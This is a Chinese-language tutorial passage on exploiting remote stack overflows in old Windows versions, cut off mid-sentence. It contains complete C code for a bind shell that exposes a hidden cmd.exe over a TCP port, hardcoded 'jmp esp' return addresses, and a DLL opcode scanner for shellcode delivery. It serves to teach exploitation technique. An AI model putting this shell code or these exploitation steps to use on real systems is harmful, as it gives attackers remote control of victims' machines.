window系统下的远程堆栈溢出 --《原理篇》

本文探讨了在Windows系统下如何利用远程溢出技术进行攻击,重点介绍了远程shell的实现方法,包括创建匿名管道和shellcode的设计技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

----前言


我们来研究windows系统下的远程溢出方法。

我们的目的是研究如何利用windows程序的溢出来进行远程攻击。


如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:

《window系统下的堆栈溢出》(NsfocusMagzine 20003)。

本文以及后续的《实战篇》都是建立在该文基础上的。


让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)


第一篇 《原理篇》


----远程溢出算法


如何开一个远程shell呢?

思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。

我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,

然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,

把客户的输入输出和cmd.exe的输入输出联系起来,我们

远程的使用者就有了一个远程shell(跟telnet一样啦)。


上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本

差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用createProcess

来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?

我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。


管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都

可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同

机器

上的不同进程之间进行双向通信(使用UNC命名规范)。


匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。

匿名管道其实是通过用给了一个指定名字的有名管道来实现的。


管道的最大好处在于:他可以象对普通文件一样进行操作。

他的操作标示符是HANDLE,也就是说,他可以使用readFile,

WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间

通信的具体细节。


下面就是这个算法的C实现:


/***************************************************************************

*/

/* Telnetd.cpp By Ipxodi tested in win2000

To illustrated the method of telnetd.

Only one connection can be accept,

feel free to add select... to fit for multiple client

*/

#include <winsock2.h>

#include <stdio.h>


int main()

{

WSADATA wsa;

SOCKET listenFD;

char Buff[1024];

int ret;


WSAStartup(MAKEWORD(2,2),&wsa);


listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);


struct sockaddr_in server;


server.sin_family = AF_INET;

server.sin_port = htons(53764);

server.sin_addr.s_addr=ADDR_ANY;

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

ret=listen(listenFD,2);

int iAddrSize = sizeof(server);

SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

/*

这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,

使用53764(随便,多少都行)作为这个socket连接的端口,bind他,

然后在这个端口上等待连接listen。程序阻塞在accept函数直到有

client连接上来。

*/

SECURITY_ATTRIBUTES sa;

sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;


ret=createPipe(&hReadPipe1,&hWritePipe1,&sa,0);

ret=createPipe(&hReadPipe2,&hWritePipe2,&sa,0);

/*

创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。

*/

STARTUPINFO si;

ZeroMemory(&si,sizeof(si));

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

char cmdLine[] = "cmd.exe";

PROCESS_INFORMATION ProcessInformation;


ret=createProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati

on);

/*

这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的

读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。

这两个管道的逻辑示意图如下:

(父进程) read<---〔管道一〕<---write 标准输出(cmd.exe子进程)

(父进程) write--->〔管道二〕--->read 标准输入(cmd.exe子进程)

*/


unsigned long lBytesRead;

while(1) {

ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if(lBytesRead) {

ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);

if(!ret) break;

ret=send(clientFD,Buff,lBytesRead,0);

if(ret<=0) break;

}else {

lBytesRead=recv(clientFD,Buff,1024,0);

if(lBytesRead<=0) break;

ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);

if(!ret) break;

}

}

/*

这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,

看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,

就去接受客户的输入。并writefile写入管道传递给shell.

这两个管道与client和server的配合逻辑图如下:

输入命令(Client) <-- send(父进程) read<--〔管道一〕<--write 标准输出

(cmd.exe子进程)

获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read 标准输入

(cmd.exe子进程)


*/

return 0;

}

/***************************************************************************

*/


----shellcode疑难问题


下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,

我采用如下办法来解决:

1)跳转指令地址的问题

因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回

后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)

所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,

使用jmp esp 就可以跳到我们的shellcode上来。


当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。

汇编代码就是这个样子:

push eax;

push ebx;

push ecx;

call SubRutine

add esp,000C


但是,如果是由子程序来负责恢复堆栈,

SubRutine:

....

:010091F3 C9 leave

:010091F4 C20C00 ret 000C

esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。


事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以

很精确的发现的,因为你可以看到他的汇编原代码呀!


为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面

加上0c个nop.


这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。

在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为

这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的

变动而变动,为了通用性的考虑,采用KERNEL32.DLL。


那么这些地址就是固定的了:

win98第二版下(4.00.2222a),返回地址为:0xbff795a3

winnt4下(4.00.1381),返回地址为:0x77f0eac3

win2000下(5.00.2195),返回地址为:0x77e2e32a


以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出

选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。

jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,

所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。


以下是测试时候使用的代码:

#ifdef WIN2000

#define JUMPESP "x2axe3xe2x77"

#endif

#ifdef WINNT4

#define JUMPESP "xc3xeaxf0x77"

#endif

#ifdef WIN98 //2222a

#define JUMPESP "xa3x95xf7xbf"

#endif

#ifdef EXPLOIT

#define JUMPESP "敌人目标程序上的jmp esp地址。"

#endif


如果你有softice,可以直接在内存里面搜ffe4。如果没有,

绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。

我把他改了一下,可以搜索指定dll中的FFE4。算法如下:

/****************************************************************************/

/*ffe4.cpp By Backend

*/

bool we_loaded_it = false;

HINSTANCE h;

TCHAR dllname[] = _T("User32");


if(argc>1) {

strcpy(dllname,argv[1]);

}


h = GetModuleHandle(dllname);

if(h == NULL)

{

h = LoadLibrary(dllname);

if(h == NULL)

{

cout<<"ERROR LOADING DLL: "<<dllname<<endl;

return 1;

}

we_loaded_it = true;

}


BYTE* ptr = (BYTE*)h;

bool done = false;

for(int y = 0;!done;y++)

{

try

{

if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)

{

int pos = (int)ptr + y;

cout<<"OPCODE found at 0x"<<hex<<pos<<endl;

}

}

catch(...)

{

cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;

done = true;

}

}

if(we_loaded_it) FreeLibrary(h);


/****************************************************************************/

2)shellcode所使用函数的问题

在shellcode里面使用了很多win32函数,比如ReadFile,createProcess等等。

这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。

我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的

所有的函数。


我们希望可以作出一个平台无关的shellcode,这就必须:

不直接使用OS版本相关的函数入口地址。

这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。


唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,

用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表

保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数

一一获得这些函数的地址。


但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?

我们想一想,这两个函数的作用?"取得所有其他函数的地址。"

没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?

肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。


如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统

的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。

由目标程序自己去加载,但是他的入口表地址是固定的。


你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,

可以看到它们对应的入口表地址AAAA。在shellcode里面,

可以直接用call [AAAA]来引用它们。


3)shellcode里面使用的字符串问题

刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得

函数地址。但是这些函数名字都要以
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值